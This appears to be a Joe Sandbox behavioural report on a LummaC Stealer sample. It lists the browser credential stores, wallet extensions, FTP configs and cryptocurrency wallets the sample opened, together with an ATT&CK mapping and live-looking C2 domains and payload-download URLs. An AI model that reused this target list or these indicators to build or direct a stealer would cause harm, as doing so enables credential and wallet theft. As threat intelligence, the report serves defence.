Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2237871217.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2240046403.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2238596385.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2165412620.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2240167156.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2238110756.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2239504789.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2238832656.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2239744184.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2239268803.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2237491903.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2239058013.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1596, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1596, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	51%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://atten-supporse.biz/apilit	100%	Avira URL Cloud	malware
https://atten-supporse.biz/mv	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiY	100%	Avira URL Cloud	malware
https://atten-supporse.biz/6	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiate	100%	Avira URL Cloud	malware
http://185.215.113.16/f	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeZ	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	104.21.16.1	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
dare-curbys.biz	false	high
impend-differ.biz	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
formy-spill.biz	false	high
se-blurry.biz	false	high
covery-mover.biz	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_111.7.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	file.exe, 00000000.00000003.2239268803.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240546025.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165412620.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240259411.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260395490.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143331142.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165324335.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/mv	file.exe, 00000000.00000003.2211817141.000000000534B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_111.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_	file.exe, 00000000.00000003.2260473159.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446401500.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579823183.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264719548.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_111.7.dr	false		high
https://atten-supporse.biz/apilit	file.exe, 00000000.00000003.2237491903.0000000000B53000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2213532412.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_91.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_111.7.dr	false		high
https://atten-supporse.biz/apiate	file.exe, 00000000.00000003.2260395490.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_111.7.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_111.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apiY	file.exe, 00000000.00000003.2237491903.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/6	file.exe, 00000000.00000003.2165324335.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/gewarren	chromecache_111.7.dr	false		high
http://185.215.113.16/f	file.exe, 00000000.00000003.2420578040.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2213228106.0000000005457000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_103.7.dr, chromecache_91.7.dr	false		high
http://185.215.113.16/steam/random.exeZ	file.exe, 00000000.00000003.2446364692.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421152066.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579497100.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.mozilla.or	file.exe, 00000000.00000003.2213139320.0000000005367000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_111.7.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_111.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_111.7.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2213532412.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2260473159.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446401500.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579823183.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213532412.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264719548.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://aka.ms/certhelp	chromecache_103.7.dr, chromecache_91.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000003.2446364692.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421152066.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579497100.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_111.7.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_111.7.dr	false		high
https://schema.org	chromecache_91.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2213228106.0000000005457000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2213532412.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_111.7.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_111.7.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.2420578040.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/adegeo	chromecache_111.7.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2260473159.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446401500.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579823183.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264719548.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_103.7.dr, chromecache_91.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_103.7.dr, chromecache_91.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2421152066.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579497100.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_111.7.dr	false		high
https://atten-supporse.biz/	file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143403649.0000000000B32000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165324335.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2211817141.000000000534B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165412620.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165324335.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false		high
